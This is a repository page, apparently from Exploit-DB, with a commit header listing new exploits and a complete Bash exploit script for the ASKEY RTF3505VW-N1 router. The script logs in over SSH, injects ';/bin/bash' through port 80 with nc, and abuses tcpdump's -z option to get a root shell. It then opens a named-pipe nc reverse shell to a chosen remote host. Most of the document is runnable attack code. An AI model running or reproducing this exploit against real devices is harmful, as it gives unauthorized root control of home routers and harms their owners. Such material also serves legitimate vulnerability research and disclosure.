9b56e8731e
25 changes to exploits/shellcodes/ghdb EQ Enterprise management system v2.2.0 - SQL Injection qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) ASKEY RTF3505VW-N1 - Privilege Escalation Bangresto 1.0 - SQL Injection Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) Cacti v1.2.22 - Remote Command Execution (RCE) Judging Management System v1.0 - Authentication Bypass Judging Management System v1.0 - Remote Code Execution (RCE) rconfig 3.9.7 - Sql Injection (Authenticated) Senayan Library Management System v9.0.0 - SQL Injection Spitfire CMS 1.0.475 - PHP Object Injection Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated) WooCommerce v7.1.0 - Remote Code Execution(RCE) CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Denial Of Service (DoS) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authorization Bypass (IDOR) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Directory Traversal File Write Exploit SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset SOUND4 Server Service 4.1.102 - Local Privilege Escalation macOS/x64 - Execve Null-Free Shellcode
67 lines
No EOL
2.5 KiB
Bash
Executable file
67 lines
No EOL
2.5 KiB
Bash
Executable file
# Exploit Title: ASKEY RTF3505VW-N1 - Privilege escalation
|
|
# Date: 07-12-2022
|
|
# Exploit Author: Leonardo Nicolas Servalli
|
|
# Vendor Homepage: www.askey.com
|
|
# Platform: ASKEY router devices RTF3505VW-N1
|
|
# Tested on: Firmware BR_SV_g000_R3505VMN1001_s32_7
|
|
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-ASKEY/blob/main/README.md
|
|
|
|
#Description:
|
|
#----------
|
|
|
|
# Mitrastar ASKEY RTF3505VW-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).
|
|
|
|
# The command “tcpdump” is present in the restricted shell and do not handle correctly the -z flag, so it can be used to escalate privileges through the creation of a local file in the /tmp directory of the router, and injecting packets through port 80 used for the router's Web GUI) with the string ";/bin/bash" in order to be executed by "-z sh". By using “;/bin/bash” as injected string we can spawn a busybox/ash console.
|
|
|
|
#Exploit:
|
|
#--------
|
|
#!/usr/bin/bash
|
|
|
|
if [ -z "$@" ]; then
|
|
echo "Command example: $0 routerIP routerUser routerPassword remoteIPshell remotePortShell "
|
|
exit 0
|
|
fi
|
|
|
|
for K in $(seq 1 15) # Attemps
|
|
do
|
|
|
|
echo "**************************************************************************************"
|
|
echo "******************************** Attempt number $K ************************************"
|
|
echo "**************************************************************************************"
|
|
|
|
for l in $(seq 1 200) ; do echo ";/bin/bash" | nc -p 8888 $1 80 ; done > /dev/null 2>&1 & # start a background loop injecting the string ";/bin/bash" on the port 80 of the router
|
|
|
|
# Expect script for interact with the router through SSH, login, launch the tcpdump with the option "-z sh", and finally launch a more stable busybox reverse shell to our listener
|
|
/usr/bin/expect << EOD
|
|
spawn ssh $2@$1
|
|
expect {
|
|
"password: " {
|
|
send "$3\r"
|
|
expect ">"
|
|
send -- "tcpdump -v -ln -i any -w /tmp/runme$K -W 1 -G 1 -z sh src port 8888\r" # filter by source port 8888
|
|
}
|
|
"yes/no" {
|
|
send "yes\r"
|
|
#exp_continue
|
|
}
|
|
}
|
|
set timeout 2
|
|
expect {
|
|
timeout {
|
|
puts "Timeout..."
|
|
send "exit\r"
|
|
exit 0
|
|
}
|
|
|
|
"*usy*ox" {
|
|
expect "#"
|
|
send "rm /tmp/runme* \r"
|
|
send "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1|nc $4 $5 >/tmp/f \r"
|
|
puts "Rooted !!!!!!!!!"
|
|
set timeout -1
|
|
expect "NEVER_APPEARING_STRING#" # wait an infinite time to mantain the rverse shell open
|
|
}
|
|
}
|
|
EOD
|
|
|
|
done |